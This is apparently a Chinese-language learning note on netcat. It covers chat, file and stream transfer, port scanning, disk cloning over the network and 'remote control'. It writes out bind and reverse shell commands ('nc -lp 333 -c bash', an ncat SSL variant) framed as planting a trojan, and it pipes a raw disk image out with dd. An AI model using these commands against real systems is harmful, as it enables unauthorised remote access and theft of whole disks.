0x01nc

NetCat

介绍:

网络工具中的瑞士军刀—小身材(几M),大智慧(功能强大)

基本功能:

  1. 监听/传输
  2. 流媒体服务器
  3. 传输文本信息
  4. 传输文件
  5. 远程控制
  6. 远程硬盘克隆

功能实现:

帮助文档

参数: –h
举例: nc –h
显示

OpenBSD netcat (Debian patchlevel 1.130-3)      
//不同的操作系统的NC有细微的差别 
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-O length]
  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
  [-x proxy_address[:port]] [destination] [port]
//格式
//以下为基本命令
Command Summary:
-4  Use IPv4                        //默认使用IP4格式的地址
-6  Use IPv6                        //如果要使用IP6格式,要加参数
-b  Allow broadcast
-C  Send CRLF as line-ending        //不是-c(小写)
-D  Enable the debug socket option
-d  Detach from stdin
-F  Pass socket fd
-h  This help text                  //帮助
-I length   TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-k  Keep inbound sockets open for multiple connects
-l  Listen mode, for inbound connects           //监听
-N  Shutdown the network socket after EOF on stdin
-n  Suppress name/port resolutions              //连接IP和 端口
-O length   TCP send buffer length
-P proxyuser    Username for proxy authentication
-p port Specify local port for remote connects      //开放端口
-q secs quit after EOF on stdin and delay of secs   //等待n秒后自动退出连接
-r  Randomize remote ports
-S  Enable the TCP MD5 signature option
-s addr Local source address
-T toskeyword   Set IP Type of Service
-t  Answer TELNET negotiation
-U  Use UNIX domain socket
-u  UDP mode                                //扫描UDP模式的参数
-V rtable   Specify alternate routing table
-v  Verbose                                 //显示详细信息
-w secs Timeout for connects and final net reads
-X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port]  Specify proxy address and port
-Z  DCCP mode
-z  Zero-I/O mode [used for scanning]               //扫描模式
Port numbers can be individual or ranges: lo-hi [inclusive]

利用nc作为聊天工具

1.  A机:nc –lp 333
2.  B机:nc –nv 192.168.43.74 333
3.  解释:
    a)  A机打开了333端口(p),并监听(l)333端口
    b)  B机连接(n)了192.168.43.74的333端口,并显示(v)详细信息

结果如图(注意IP地址不同)


0x01nc_第1张图片
简单互传.png

将命令输出内容进行传送(部分nc没有-c选项)

1.  A机:ls –al | nc –lp 333 
2.  B机:nc –nv 192.168.43.74 333 –q 1
3.  解释:
    a)  A机:显示详细目录(ls –al)通过管道(|)给nc的333端口
    b)   B机:连接用nc连接指定端口,并延时1秒(1)后断开(q)
4.  备注:出了点小意外,1秒后没有退出,后来发现-q好像是配合客户端(不是开放端口的那方)使用的
0x01nc_第2张图片
命令显示.png

扫描模式:(扫描并不准确)

1.  扫描TCP端口:nc –nvz 192.168.43.74 1-65535
2.  扫描UDP端口:nc –nvzu 192.168.43.74 1-65535
3.  解释:
    a)  nc进行IP连接,并显示详细信息,进行端口扫描(z)指定端口(1-65535)
    b)  nc进行IP连接,并显示详细信息,进行端口扫描(z)指定端口(1-65535)的UDP连接
4.  备注:发现没有端口开放(其实是假的。。。。),如果显示详细信息可能所有端口都会显示信息
0x01nc_第3张图片
命令显示.png

传送文件

1.  A:nc –lp 333 >1.mp4
2.  B:nc –nv 192.168.43.74 333 < hello.mp4 –q 1
3.  解说:
    a)  A开放并监听333端口,并把数据给1.mp4
    b)  B连接333端口,并把hello.mp4传送过去,并等待1s后自动关闭
4.  备注:这次自动退出成功
0x01nc_第4张图片
图片传输.png

加密传文件

1.  A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
2.  B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
3.  解说:
    a)  开放端口,得到数据,通过管道,
        把数据解密(mcrypt --flush -Fbqd -a rijndael-256 -m ecb),把解密后的内容给1.mp4
    b)  把文件加密(mcrypt --flush -Fbq -a rijndael-256 -m ecb),通过管道符给nc传送过去
4.  备注:
    mcrypt系统不一定有,--flush不保存过渡文件,-Fbq(加密)-Fbqd(解密)
    rijndael-256 -m ecb(ECB的256位加密算法)

流媒体服务器

1.  A: cat 1.mp4 | nc -lp 333
2.  B: nc –nv 192.168.66.141 333 | mplayer -vo x11 -cache 3000 –
3.  解说:
    a)  A:把1.mp4的文件显示出来给333端口
    b)  B:把收到的文件交给mplayer用(-vo x11)解码,缓存3000(K)
4.  额,发现系统并没有mplayer

硬盘克隆(硬盘克隆是把删除的内容,哪些表面删除,实际还在盘里的被标记为删除的文件,也会被克隆)

1.  A:nc -lp 333 | dd of=/dev/sda
2.  B:dd if=/dev/sda | nc -nv192.168.66.141 333 –q 1
3.  解说:
    a)  A:把收到的内容输出到/dev/sda(硬盘)
    b)  B:把/dev/sda的内容进行块拷贝,输出为nc

远程控制(部分其他版本的nc可能没有-c(c小写)的选项)

1.  A:nc -lp 333 -c bash
2.  B:nc –nv 192.168.66.141 333
3.  解说:
    a)  A:把得到的内容传送给bash进行执行(-c)
    b)  B:连接nc,然后执行(ls)
4.  备注:
windows使用的是cmd,linux使用的是bash
0x01nc_第5张图片
置入特洛伊.png

nc的缺陷和改进

缺陷

  1. 通信的时候不能加密,也就是你开发的端口,大家都可以用
  2. 没有用户验证

解决

  1. 使用ncat
    基本用法同nc
    有加密通信通道
  2. 举例:
    A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
    B:ncat -nv 1.1.1.1 333 --ssl

备注:

ncat是nmap的一部分

  1. nc中可以正向也可以反向传输
    比如:
    正向传输
A:nc -lp 333 -c bash
B:nc –nv 192.168.66.141 333
A开放端口,把监听到的内容进行(bash)执行
反向方向:
A:nc -lp 333 -c bash
B:nc –nv 192.168.66.141 333 -c bash
A开放端口,后输入内容,让B进行执行

你可能感兴趣的:(0x01nc)